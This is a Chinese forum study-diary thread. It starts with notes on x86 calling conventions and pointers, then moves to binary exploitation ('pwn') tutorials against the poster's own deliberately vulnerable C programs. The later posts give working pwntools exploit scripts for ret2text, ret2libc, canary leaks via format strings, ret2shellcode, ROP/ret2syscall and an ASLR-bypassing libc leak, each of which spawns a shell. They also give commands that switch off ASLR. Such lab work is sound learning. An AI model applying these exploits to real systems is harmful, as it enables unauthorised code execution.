安全矩阵

 找回密码
 立即注册
搜索
楼主: gclome

郝恬学习日记

[复制链接]

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-14 19:43:06 | 显示全部楼层
本帖最后由 gclome 于 2020-3-14 20:14 编辑

汇编学习--函数

函数是一个程序模块,用来实现一个特定的功能。一个函数包括函数名、入口参数、返回值、函数功能等功能。

一、函数的识别
     程序通过调用程序来调用函数,在函数执行后又返回调用程序继续执行。调用函数的代码中保存了一个返回地址,该地址会与参数一起传递给被调用的函数。有多种方法可以实现这个功能,在绝大多数情况下,编译器会使用call和ret指令来调用函数及返回调用函数。
     call指令:call指令与跳转指令功能相似,不同的是,call指令保存返回信息,即将其之后的指令地址压入栈的顶部,当遇到ret指令时返回这个地址。
     因此,可以通过定位call机器指令或利用ret指令结束的标志来识别函数。call的指令的操作数就是所调用函数的首地址。
     可以先看一个示例:
     


file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\165I}QD8V3H]SJG1)V1OVFL.png

这是函数直接调用的方式,大部分情况也是这样;不过也有调用函数是间接调用的,即通过寄存器函数地址或动态计算函数地址调用。例如:
  1. call [4*eax+10h]
复制代码

二、函数的参数
函数传参有三种方式:分别是栈方式、寄存器以及全局变量进行隐含参数传递的方式。若是栈传递的,就需要定义参数在栈中的顺序,并约定函数被调用后由谁来平衡栈。若是通过寄存器传递,就要确定参数放在那个寄存器中。

(1)利用栈传参
首先看一个示例:
  1. // t1.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include "windows.h"
  5. int WINAPI test1(int a,int b)
  6. {
  7.      return a+b;
  8. }
  9. int __fastcall test2(int a,int b)
  10. {
  11.             return a+b;
  12. }
  13. int PASCAL test3(int a,int b)
  14. {
  15.    return a+b;
  16. }
  17. int __stdcall test4(int a,int b)
  18. {

  19.             return a+b;
  20. }
  21. int test5(int a,int b)
  22. {
  23.             return a+b;
  24. }

  25. int main(int argc, char* argv[])
  26. {
  27.             test1(3,5);
  28.             test2(3,5);
  29.         test3(3,5);
  30.             test4(3,5);
  31.             test5(3,5);

  32.         return 0;
  33. }
复制代码
切入到反汇编可以看到函数的调用过程,接下来我们重点看一看每一种方式去调用函数时,函数内部是按照什么顺序将参数压栈,以及函数结束后,由谁来平衡栈?


1.WINAPI

参数传递时,先传递3,然后在与5相加;在子程序执行时最后一句 ret 8,用于平衡堆栈。



2.pascal
此处参数传递时,先将3给eax,然后与5相加,同样有个 ret 8 ,也是由子程序平衡堆栈。

3._stdcall
此处参数传递时,先将3给eax,然后与5相加,同样有个 ret 8 ,也是由子程序平衡堆栈。


4._cdecl(c规范)

看到函数的调用过程都是先参数压栈,在调用函数时,多了一句 add esp,8 ,说明_cdecl需要调用者平衡堆栈。




小结:
经过自己的实践,与书上做对比,平衡栈者是吻合了,
不过参数传递顺序却发现都是先push 5,然后push 3,按照这样的话,那都是从右到左,这与书上并不符合,这是让我困惑的一个点。




可是看了这张图之后,发现在VC里面pascal方式就是stdcall方式,也就是winapi方式,那我之前的疑惑在这里也算是解决了。

(2)利用寄存器传递参数

这里主要涉及fastcall规范和thiscall规范

1.fastcall规范:顾名思义,特点就是快,因为它是靠寄存器来传递参数的。

因为可以看到这里的调用方式是push 9,push 7, mov edx,5,mov ecx,3,也就是把左边两个参数分别放在了ecx和edx寄存器中,然后后两个参数按照从右向左的顺序放入了栈中,所以这里的参数传递时,使用寄存器和栈,在子程序执行时,先把寄存器的两个数放入栈中,然后进行计算,最后是 ret  8,用于平衡堆栈。


file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\838}WPVF0C537IAACH2(KHD.png

2.thiscall规范:thiscall是c++的非静态类成员函数的默认调用约定,对象的每个函数隐含接收this函数。采用thiscall函数时,函数约定的参数按照从右到左的顺序入栈,被调用的函数在返回前清理传送参数的栈,仅通过ecx寄存器传递一个额外的参数-----this指针。



三、函数的返回值


(1)用return操作符返回值
在一般情况下,函数的返回值放在eax寄存器中返回,如果处理结果的大小超过eax寄存器的容量,其高32位就会放到edx寄存器里。


(2)通过参数按传引用方式返回值
给函数传参有两种,分别是传值和传引用。
传值调用时,会建立参数的一份复本,并把它传给调用函数,在调用函数中修改参数值的复本不会影响参数的原始值。

传引用调用允许调用函数修改原始变量的值.调用某个函数,当把变量的地址传递给函数时,可以在函数中用间接引用运算符修改调用函数内存单元中该变量的值。



回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-18 22:33:32 | 显示全部楼层
本帖最后由 gclome 于 2020-3-23 20:38 编辑

汇编学习--指针

0x01基础概念
1.一个变量的地址称为该变量的“指针”。
2.指针和指针变量不同,指针是一个地址,而指针变量是存放地址的变量,用来指向另一个变量。
3.两个有关的运算符:
  (1)&:取地址运算符,如:&a为变量a的地址
  (2)* :指针运算符(或称“间接访问”运算符),取其指向的内容,如:*p为指针变量p所指向的存储单元的内容(即p所指向的变量的值)

0x02示例
1.通过指针变量访问整形变量
  1. #include<stdio.h>
  2. void main()
  3. {

  4. int a,b;
  5. int *pointer_1,*pointer_2;
  6. a=100,b=10;
  7. pointer_1=&a;    //把变量a的地址赋给pointer_1
  8. pointer_2=&b;    ////把变量b的地址赋给pointer_2
  9. printf("%d,%d\n",a,b);
  10. printf("%d,%d\n",*pointer_1,*pointer_2);

  11. }
复制代码
切入到反汇编
主要来看一下对指针赋值时的汇编:
  1. 7:    pointer_1=&a;
  2. 00401036      8D 45 FC                    lea         eax,[ebp-4]
  3. 00401039      89 45 F4                      mov         dword ptr [ebp-0Ch],eax
  4. 8:    pointer_2=&b;
  5. 0040103C      8D 4D F8                     lea         ecx,[ebp-8]
  6. 0040103F      89 4D F0                     mov         dword ptr [ebp-10h],ecx
复制代码
首先我们先看一下lea指令的用法:
(1)有没有[]对于变量是无所谓的,其结果都是取变量的地址,相当于指针
如:
   num dw 2   lea  ebx,num;   lea  eax,[num];ebx=eax
(2)对于寄存器而言,有[]表示取值,没[]表示取地址
如:mov eax,2    lea ebx,[eax];ebx=2    lea ebx,eax;eax=地址,随程序的不同而不同
很显然,这里的代码是对于寄存器而言的,[ebp-4]就是此处所存储的值,也就是a的值,然后把这个值在放到ebp-0Ch处,也就是pointer_1的值。


有了上面的分析,写汇编就比较简单了:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         char *str="%d,%d\n";
  5.         _asm{
  6. mov eax,100
  7.         mov ebx,10
  8.         lea ecx, [eax]           //把eax寄存器里的值传给ecx寄存器
  9.         mov dword ptr [ebp-0ch],ecx   //因为第一次printf,ecx会改变,所以存到栈中
  10.         lea edx, [ebx]              //把ebx寄存器里的值传给edx寄存器
  11.         mov dword ptr[ebp-10h],edx
  12.         push eax
  13.         push ebx
  14.         push str
  15.         call printf
  16.         mov ecx,dword ptr[ebp-0ch]
  17.         mov edx,dword ptr[ebp-10h]
  18.         push ecx
  19.         push edx
  20.         push str
  21.         call printf
  22.         add esp,18h
  23.         }

  24. }
复制代码
运行结果:





2.输入a和b两个整数,按先大后小的顺序输出a和b
  1. #include<stdio.h>
  2. void main()
  3. {
  4. int *p1,*p2,*p,a,b;
  5. scanf("%d,%d",&a,&b);
  6. p1=&a;
  7. p2=&b;
  8. if(a<b)
  9. {p=p1;p1=p2;p2=p;}
  10. printf("a=%d,b=%d\n\n",a,b);
  11. printf("max=%d,min=%d\n",*p1,*p2);
  12. }
复制代码
切入到反汇编:
file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\((E1S}(B~{X3}8D6Y16XZ1Y.png


  1. #include<stdio.h>
  2. void main()
  3. {
  4.         char *str1="a=%d,b=%d\n";
  5.         char *str2="max=%d,min=%d\n";
  6.         _asm{
  7.          lea eax,[ebp-14h]
  8.                 push eax
  9.                 lea ecx,[ebp-10h]
  10.                 push ecx
  11.                 call scanf
  12.                 lea edx,[ebp-10h]
  13.                 lea ebx,[ebp-14h]
  14.                 cmp ecx,eax
  15.                 jge  S1
  16.          
  17.          mov dword ptr[ebp-0ch],edx
  18.                  mov edx,ebx
  19.                  mov ebx,dword ptr[ebp-0Ch]
  20.                  
  21. S1:      push eax
  22.                  push ecx
  23.          push str1
  24.                  call printf
  25.                  mov eax,dword ptr[ebp-8]
  26.          mov ebx,dword ptr[eax]
  27.                  push ebx
  28.                  mov ebx,dword ptr[ebp-4]
  29.                  mov edx,dword ptr[ebx]
  30.          push edx
  31.                  push str2
  32.                  call printf
  33.                  add esp,20h
  34.         }

  35. }
复制代码





回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-26 11:21:36 | 显示全部楼层
本帖最后由 gclome 于 2020-3-26 14:03 编辑

PWN学习日记!
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-26 13:16:01 | 显示全部楼层
本帖最后由 gclome 于 2020-3-27 07:44 编辑

pwn学习----定位溢出点位置
0x00 准备工作
首先,用于溢出的C语言代码为:
  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[0x20];
  9.         read(0,str,0x50);
  10. }
  11. int main()
  12. {
  13.         func();
  14.         return 0;
  15. }
复制代码
接下来对其进行编译:
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c
复制代码
注释:-no-pie:地址随机化
           -fno-stack-protector:没有堆栈保护
            -z execstack:堆栈可执行
编译完成以后,checksec 3.exe 查看它的保护机制:

0x01如何判断是否发生了溢出?
1.通过如下语句可以查看程序中使用到的函数,查看是否使用一些危险函数
  1. objdump -t xxx
复制代码


这句话列出了使用的所有函数,我们如果想查看是否使用某一个特定的函数,我们可以使用下面这句命令:
  1. objdump -t .text 3.exe |grep read
复制代码


2.查看程序中函数的汇编代码
  1. objdump -d xxx
复制代码


由于采用了linux格式的汇编,看起来可能不是很习惯,我们可以采用下面这条命令把它换为因特尔平台下的格式
  1. objdump -d -M intel 3.exe
复制代码

溢出的话,一般会调用system函数,我们可以通过查看是否存在这些函数的反汇编,来判断,如下,找出了system函数的地址



0x02通过kali自带的msf定位溢出点位置
使用gdb 3.exe
使用peda,可以查看相关命令

使用start,开始编译
然后disass exploit,进行汇编
另外打开一个命令行输入
  1. msf-pattern_create -l 100
复制代码



得到了随机的一个串,用来定位,返回到第一个命令行,接下来输入r,然后运行之后,输入刚刚得到的那个串,就可以发现程序中断掉了,发生了溢出,此时我们看到溢出了,而且此时的eip为0AB1




然后输入
  1. msf-pattern_offset -q 0Ab1
复制代码



可以看到我们要填充32个字符,才能溢出成功!


0x02通过peda插件定位溢出点位置
输入命令
  1. pattern_create 100
复制代码
生成一个随机串,然后运行,并把这个随机串放进去,发现程序还是中断掉了,中断的位置是A)AA




接下来,通过如下命令,可以定位出溢出的位置
  1. pattern offset A)AA
复制代码




0x03通过pwndbg插件定位溢出点位置

首先,我们可以通过如下命令对pwndbg和peda进行切换
  1. nano /root/.gdbinit
复制代码
切换好以后,gdb 3.exe 进行编译,然后就可以看到切换到了pwndbg下,这是我们可以通过 pwn 来查看pwndbg的相关命令



start之后,然后输入如下命令
  1. cyclic 100
复制代码
生成一个随机串,然后 r ,再把这个随机串放进去执行,发现还是中断了,中断的位置是:iaaa



接下来输入如下命令,就可以判断出溢出位置
  1. cyclic offset -l iaaa
复制代码


0x04 利用python程序定位到exploit函数:
python程序编辑如下:
  1. from pwn import *
  2. p=process('./3.exe')
  3. offset = 32
  4. payload ='a'*offset+p32(0x8049182)
  5. p.sendline(payload)
  6. p.interactive()
复制代码
这里的 0x8049182 是exploit函数的首地址,从这个位置开始执行就能成功 get shell




然后执行这个python文件,python 3.py




就可以成功溢出,然后获得shell了!


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-26 22:28:18 | 显示全部楼层
本帖最后由 gclome 于 2020-4-7 16:11 编辑

pwn学习---attach调试与ret2libc
0x01 attach调试
我们将4.c文件编译成41.exe,然后使用python脚本运行
C语言程序如下:
  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.         system("/bin/sh");
  5. }
  6. void main()
  7. {
  8.     char buf[20];
  9.     gets(buf);
  10. }
复制代码
python代码如下:
  1. from pwn import *
  2. #context(arch="i386",os="linux",log_level="debug")
  3. p=process('./41.exe')
  4. offset = 44
  5. #payload ='a'*offset+p32(0x8049172)
  6. pause()              //在发送之前停一下
  7. p.send(payload)
  8. p.interactive()
复制代码
先运行python脚本:python 41.py

接下来重新打开一个命令行,输入gdb,然后输入attach 94506,让程序运行起来


运行之后发生了中断,我们可以在第一个命令行那里随意输入一个字符,然后让程序继续运行起来,然后再第二个命令行里单步执行n几次。
以上是attach基本调试方法!

0x02 ret2libc
1.总述
我们需要控制程序跳转到哪里才能达成目的呢?主要是以下四种形式:
ret2text:控制程序执行程序本身的代码,比如程序中已经有了system函数,我们就可以通过执行system("/bin/sh") 或system(“sh”)实现。
ret2shellcode:先写入一段能够获取shell的汇编代码,然后让程序跳到rsp指向shellcode的开头,来执行该段汇编代码。但实现该攻击需要shellcode所在的区域有课执行权限。
ret2syscall:调用Linux的系统中断int 0x80实现。
ret2libc:控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

2.ret2libc

ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。
上一篇文章中我们找到了exploit的首地址,进而执行了system函数获得了shell。然而ret2libc可以控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

  ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置,一般情况下,我们会选择执行 system("/bin/sh")。
那么我们如何得到 system 函数的地址呢?

这里就主要利用了两个知识点system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

简单点说就是我们现在没法在栈上执行需要的命令了,但是我们可以去别的地方执行,在 libc.so 中就正好有我们需要找的:system("/bin/sh")。

构建栈结构:


首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示:


观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的地址,让程序默默地退出。
因此,攻击注入的结构是:

AxN(填充物) + system_addr + exit_addr + arg

首先,我们进行溢出的C语言代码为:
  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[0x20];
  9.         read(0,str,0x50);
  10. }
  11. int main()
  12. {
  13.         func();
  14.         return 0;
  15. }
复制代码
进行编译:

gcc -no-pie -fno-stack-protector  -m32 -o 42.exe 3.c
请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。
同时需要禁用地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space




定位溢出点位置
pattern  create 100
生成100个字符
将其复制,输入r进行交互将这些字符粘贴进去
会发现程序停止运行,我们找到eip对应的字符A)AA,这就是发生溢出的位置
pattern offset A)AA
我们可以看到是32,说明在溢出之前我们要填充32个字符



寻找system,exit,/bin/sh 地址

前面说到关掉 ASLR 后 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 "/bin/sh" 这个字符串,并且这个字符串的地址也是固定的
在peda里面,可以通过p system或searchmem system 寻找system函数的地址,通过这种方法我们可以找到system,exit,"/bin/sh"的地址。如下图,我的kali颜色看起来不是很清晰,system函数地址:0xf7e13660 ; exit函数地址:0xf7e066f0 ;"/bin/sh"的地址下面三个都可以。


如果使用的是pwndbg的话可以用search system来找地址,后面两个的地址都是这样来找的。

通过python进行交互,利用这个溢出
python代码如下:
  1. from pwn import *
  2. p=process('./42.exe')
  3. offset = 32
  4. payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
  5. p.send(payload)
  6. p.interactive()
复制代码

python 42.py

执行成功之后,就获得系统权限了!


回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-28 19:34:24 | 显示全部楼层
本帖最后由 gclome 于 2020-3-28 19:35 编辑

pwn学习---借助格式化输出绕过canary保护
0x01 原理简介
     格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把我们的输入当作第一个参数直接输出的时候,我们输入若干格式化字符串,会增加与格式化字符串相对应的参数,会泄露出栈中的内容
  Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。canary在栈中的结构如下:

   
     综上,我们可以通过格式化输出来泄露canary的地址,然后再构造payload时,用获取到的canary地址覆盖到原来canary的地址上。

0x02 C语言代码及编译
我们进行编译的C语言代码是:
  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.           system("/bin/sh");
  5. }
  6.       void func()
  7. {
  8.         char str[16];
  9.         read(0, str, 64);
  10.         printf(str);
  11.         read(0, str, 64);
  12. }
  13.     int main()
  14. {
  15.        func();
  16.        return 0;
  17. }
复制代码
接下来进行编译:
  1. gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c
复制代码
-fstack-protector:启用canary栈保护
编译完成之后,可以checksec看一下保护机制再次确认一下:


0x03 寻找canary地址并构造payload
用 b func 在func函数处下一个断点
start之后一直n,单步执行,直到出现canary



接下来通过如下代码找到canary的地址为0x804bf12
  1. x/x  0x80490d0
复制代码


再次查看canary的值和地址,我们发现cannary的值和地址均变化了,的确是这样,canary的值和地址是会变化的,所以不能用到上面获取到的canary的值和地址。我们就可以用格式化输出的方法将canary的值输出。

接下来查找它相对于栈顶偏移是多少,stack 20,查看栈前20个地址

2c也就是十进制的44( 可以通过 p/d 0x2c 去查看),也就是与栈顶相差11个地址,确定canary相对第一次输入的堆栈偏移11

继续n,到了输入的地方,输入%11$8x,这里就是我们说的格式化输出,那么%11$8x有什么含义呢?
%11这里就是取与栈顶相差11个位置的地址,也就是我们上面找到的canary的值,$08x就是取这个地址的前8位(注
意,由于是小端序,这是从右往左开始的数的)。

可以看到canary相对于第二次输入的偏差是4个地址,下图框起来的都需要我们去填充。


要跳到exploit函数去执行,我们还要知道exploit函数的地址,用 p exploit

综上,我们就可以构造payload为:payload=coffset*'a'+canary+roffset*'a'+raddr

0x04 利用python进行交互
python代码为:
  1. from pwn import *
  2. p=process("./5.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)

  6. canary=canary.decode("hex")[::-1]

  7. coffset=4*4
  8. roffset=3*4
  9. raddr=p32(0x8049192)
  10. payload=coffset*'a'+canary+roffset*'a'+raddr
  11. p.sendline(payload)
  12. p.interactive()
复制代码


get shell !



回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-29 15:44:29 | 显示全部楼层
本帖最后由 gclome 于 2020-3-29 19:24 编辑

pwn学习---ret2shellcode
ret2shellcode的关键在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode处执行。
示例一:
  1. #include <stdio.h>
  2. #include <string.h>
  3. char str1[0x40];
  4. void func()
  5. {
  6.             char str[0x40];
  7.             read(0,str,0x60);
  8.             strcpy(str1,str);
  9. }
  10. int main()
  11. {
  12.             func();
  13.             return 0;
  14. }
复制代码
在read()函数这里会发生溢出

进行编译
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
复制代码
编译完成之后,顺便checksec 6.exe ,没有开启任何保护机制

定位溢出点
在func处加个断点,cyclic 200,生成200个字符,继续r


继续执行之后,将上面生成的字符串复制进去

最终确定溢出点的位置为76

找到str1的首地址

生成shellcode的方法
方法1.用pwntool或者peda和msfpc或者msfvenom工具生成,支持上线,最好越短越好
例如用pwntool中的shellcraft.sh(),再转汇编字节码asm()
asm(shellcraft.sh())



方法2.手写,其实网上一搜到处都是,可以直接用,但自己要和前段时间windows一样自己调试提取
就是想办法调用evecve("/bin/sh",null,null);


利用python代码实现溢出
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./6.exe')
  4. offset = 76
  5. shellcode=asm(shellcraft.sh())   //生成shellcode  ,shellcode的长度不能超过76
  6. payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)  //因为shellcode的长度没有76,用90来填充。相当于一段nop导轨,然后跳到str1去执行shellcode
  7. pid=proc.pidof(p)
  8. print pid
  9. pause()
  10. p.sendline(payload)
  11. p.interactive()
复制代码


成功!


示例二:用jmp esp构造payload
先看c语言程序:

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.         char str1[0x40];
  13.    read(0,str1,0x80);  
  14. }
  15. int main()
  16. {
  17.    func();
  18.         return 0;
  19. }
复制代码
echo 0 >/proc/sys/kernel/randomize_va_space
然后按照与示例一一样的方法进行编译,然后start。
接下来找 jmp esp的地址,在peda下输入下面的命令:
  1. asmsearch "jmp esp"
复制代码
找到一个jmp esp的地址


接下来python写一个poc

  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./8.exe')
  4. offset = 76

  5. shellcode=asm(shellcraft.sh())  
  6. add_jmpesp=p32(0x080b001f)   //找到的jmp esp的地址
  7. #print len(shellcode)
  8. payload ='\x90'*offset+add_jmpesp+shellcode    //先用nop填充溢出前的区域然后跳到jmp esp的位置去执行,此时shellcode刚好在栈顶
  9. #pid=proc.pidof(p)
  10. #print pid
  11. #pause()
  12. p.sendline(payload)
  13. p.interactive()
复制代码
运行结果,成功!





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-31 17:03:25 | 显示全部楼层
本帖最后由 gclome 于 2020-3-31 17:09 编辑

pwn学习---ropgadget和ret2syscall

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接,从而构建恶意代码。可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

ret2syscall,即控制程序执行系统调用,获取 shell。

接下来我们看一个示例,在read函数这里会出现缓冲区溢出。
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.          system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.              char str[0x20];
  13.              read(0,str,0x50);
  14. }
  15. int main()
  16. {
  17.            func();
  18.            return 0;
  19. }
复制代码

进行编译
  1. gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c
复制代码
-static :静态编译

查看保护机制

这里很奇怪,明明命令已经关闭了canary栈保护,可是这里还是显示开启了栈保护,更奇怪的是这个并没有影响溢出的结果。

定位溢出点
  1. cyclic 100
  2. cyclic -l laaa
复制代码


结果是44

查找pop..ret以及/bin/sh和int 0x80的地址
只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
  1. execve("/bin/sh",NULL,NULL)
复制代码
execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断

利用ROPgadget的工具查找eax ebx ecx edx的地址(即pop..ret的地址),以及/bin/sh和int 0x80的地址。即:
-------------------------------------------------

系统调用号,即 eax 应该为 0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

-------------------------------------------------

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
  2. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
  3. ROPgadget --binary ./7.exe --string "/bin/sh"
  4. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码


poc
找到了地址之后就可以写poc了!
  1. from pwn import *
  2. #context(arch="i386",os="linux")
  3. p=process('./7.exe')
  4. offset = 44
  5. add_eax=p32(0x080aaa06)     // pop eax ; ret 的地址
  6. value_eax=p32(0xb)             //eax的值是0xb
  7. add_edx_ecx_ebx=p32(0x0806f711)   pop edx;pop ecx; pop ebx ;ret 的地址
  8. value_ebx=p32(0x080ae008)        //ebx指向/bin/sh的地址
  9. value_ecx=p32(0)
  10. value_edx=p32(0)
  11. add_int=p32(0x0804a3d2)        //
  12. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
  13. #pid=proc.pidof(p)
  14. #print pid
  15. #pause()
  16. p.sendline(payload)
  17. p.interactive()
复制代码
构造的payload为
  1. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
复制代码


成功!

参考文章:
https://blog.csdn.net/qq_44759495/article/details/89474281
https://www.cnblogs.com/ichunqiu/p/9288935.html



回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-4-10 20:03:34 | 显示全部楼层
本帖最后由 gclome 于 2020-4-11 21:45 编辑

pwn学习---ret2libc绕过地址随机化
0x00 前情回顾
之前的实践中,当我们开启了栈不可执行,但是关闭了地址随机化,我们可以通过找到system“/bin/sh”的地址,然后利用溢出跳转到system“/bin/sh”的地址去执行,当然,这一切都基于关闭了地址随机化,使得 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,这个字符串的地址也是固定的。

那么问题来了。。。。。。
如果我们想同时开启了栈不可执行和地址随机化,应该如何绕过呢?
那就先卖一个关子,先逐步做下去,我们就会明白了

0x01 C语言代码
  1. #include<stdio.h>

  2. char buf2[10] = "this is buf2";
  3. void vul()
  4. {
  5.         char buf1[10];
  6.         gets(buf1);
  7. }
  8. void main()
  9. {
  10.         write(1,"sinxx",5);
  11.         vul();
  12. }
复制代码
在vul()里的gets函数和write()均可输入,但是只有gets函数会发生溢出。

0x02 进行编译
  1. gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
复制代码
一般情况下,ASLR默认情况下是开启的,也可以通过下面这个命令开启:
  1. echo 2 > /proc/sys/kernel/randomize_va_space
复制代码

0x03 定位溢出点可以发现溢出点为22

  1. cyclic 100
  2. cyclic -l aaya
复制代码

接下来我们通过ldd 9.exe来查看libc的地址,可以发现每一次都是改变的。


如何解决呢?

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)。

我们可以先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 payload 就可以了。

  1. objdump -d -j .plt level2 查看可以利用的函数
  2. objdump -R level2 查看对应 got 表
复制代码

0x04 exp
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process("9.exe")  //加载进程
  4. e=ELF("9.exe")      //加载elf文件
  5. addr_write=e.plt["write"]  
  6. addr_gets=e.got["gets"]   //gets函数的真实地址会存在它的got表里
  7. addr_vul=e.symbols["vul"]  //自定义的函数用符号表

  8. print pidof(p)   //可用于attach调试
  9. offset=22
  10. pause()  

  11. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
  12. p.sendlineafter("sinxx",payload1)   //是指将在sinxx输完之后 再输入payload1
  13. gets_real_addr=u32(p.recv(4))   //把字符串变成32位地址

  14. libc=ELF("/lib/i386-linux-gnu/libc.so.6")
  15. rva_libc=gets_real_addr-libc.symbols["gets"]//算出偏移值
  16. addr_system=rva_libc+libc.symbols["system"]//找出system的真实地址
  17. addr_binsh=rva_libc+libc.search("/bin/sh").next() //找出/bin/sh的真实地址,函数用symbols修饰,字符串用search

  18. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)//和绕过地址不可执行的payload一样
  19. p.sendline(payload2)
  20. p.interactive()
复制代码
对exp的理解:

1.elf文件: 在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。这个解释让人依旧很蒙圈。
推荐一篇文章:https://blog.csdn.net/daide2012/article/details/73065204

2.payload1的理解
payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
先调用write函数,然后1,addr_gets,4均为write函数的参数,就可以把gets函数的真实地址写入,又因为call write会把下一个地址压栈,所以当执行完write函数就会跳转到vul的地址去执行payload2。
write函数:





3.找出偏移地址:
先加载9.exe依赖的库,ldd 9.exe看程序依赖什么库

